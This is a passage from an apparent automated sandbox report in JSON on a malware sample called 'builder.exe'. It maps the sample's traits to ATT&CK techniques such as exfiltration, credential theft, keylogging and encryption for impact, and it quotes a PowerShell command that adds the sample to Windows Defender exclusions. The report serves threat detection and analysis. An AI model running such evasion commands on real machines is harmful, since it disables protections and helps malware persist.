Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Remote Access Tools","attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","identifiers":[{"type":"malicious","value":"Known malware detected"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"},{"type":"malicious","value":"Collects system information using POST request"},{"type":"malicious","value":"Upload file using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"},{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to access crypto-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Impact","technique":"Account Access Removal","attack_id":"T1531","attack_id_wiki":"https://attack.mitre.org/techniques/T1531","identifiers":[{"type":"informative","value":"Contains ability to delete a user account from a server (API string)"},{"type":"informative","value":"Contains ability to delete users from a group (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"malicious","value":"Use of archive tools for protected file compression/decompression detected (often used to hide payload)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file is packed with UPX"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","identifiers":[{"type":"suspicious","value":"File exhibits characteristics of junk code obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","identifiers":[{"type":"suspicious","value":"PE file has no resource directory"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Defense Impairment","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"},{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"},{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"suspicious","value":"Uses powershell to disable controlled folder access"},{"type":"suspicious","value":"Tries to modify exclusion list using Powershell"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify System Firewall","attack_id":"T1686","attack_id_wiki":"https://attack.mitre.org/techniques/T1686","identifiers":[{"type":"informative","value":"Detects NETSH process execution"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"malicious","value":"The input sample is signed with an invalid certificate"},{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"Found string \":\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll\" (Source: \"00000000-00002000.00000001.177576.49F50000.00000004.mdmp\")\n Found string \":\\WINDOWS\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\6da01910c256231d1c50ad0aacee5941\\System.Management.Automation.ni.dll\" (Source: \"00000000-00002000.00000001.177576.49F50000.00000004.mdmp\")\n Found string \"System.Management.Automation.dll\" (Source: \"00000000-00002000.00000001.177576.49F50000.00000004.mdmp\")\n Found string \"System.Management.Automation.pdb\" (Source: \"00000000-00002000.00000001.177576.64110000.00000004.mdmp\")\n Found string \"??\\C:\\WINDOWS\\System.Management.Automation.pdb\" (Source: \"00000000-00002000.00000001.177576.64760000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"$25","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"Found reference string \"NetGroupGetInfo\" (Indicator: \"netgroupgetinfo\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference string \"NetGroupGetUsers\" (Indicator: \"netgroupgetusers\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference string \"NetGroupEnum\" (Indicator: \"netgroupenum\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference string \"NetUserGetGroups\" (Indicator: \"netusergetgroups\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"Tcl_CreateThread\" (Indicator: \"CreateThread\"; File: \"builder.exe\")\n Found reference to API \"Failed to get address for Tcl_CreateThread\" (Indicator: \"CreateThread\"; File: \"builder.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"builder.exe\")\n Found reference to API \"LsaFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"SamFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"DsRoleFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"Found reference string \"%WINDIR%\\system32\\cmd.exe /c \"powershell -Command Add-MpPreference -ExclusionPath 'C:\\builder.exe'\"\" (Indicator: \"add-mppreference\"; Source: \"00000000-00007276-00000C47-25631896786\")\n Found reference string \"powershell -Command Add-MpPreference -ExclusionPath 'C:\\builder.exe'\" (Indicator: \"add-mppreference\"; Source: \"00000000-00006844-00000C47-11136512518\")\n Found reference string \"Add-MpPreference -ExclusionPath 'C:\\builder.exe'\" (Indicator: \"add-mppreference\"; File: \"AMSI\")\n Found reference string \"/c \"powershell -Command Add-MpPreference -ExclusionPath 'C:\\builder.exe'\"\" (Indicator: \"add-mppreference\"; File: \"cmd.exe\")\n Found reference string \"powershell -Command Add-MpPreference -ExclusionPath 'C:\\builder.exe'\" (Indicator: \"add-mppreference\"; Source: \"00000000-00001004.00000000.176645.14880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-980","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00001004)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00001004)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00001004)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00001004)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1675412701185', 'hResInfo': '1675412702432'}\" (UID: 00000000-00001004)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1675412701185', 'hResInfo': '1675412702464'}\" (UID: 00000000-00001004)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1675412701185', 'hResInfo': '1675412702480'}\" (UID: 00000000-00001004)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1675412701185', 'hResInfo': '1675412702448'}\" (UID: 00000000-00001004)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"builder.exe\")\n Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: 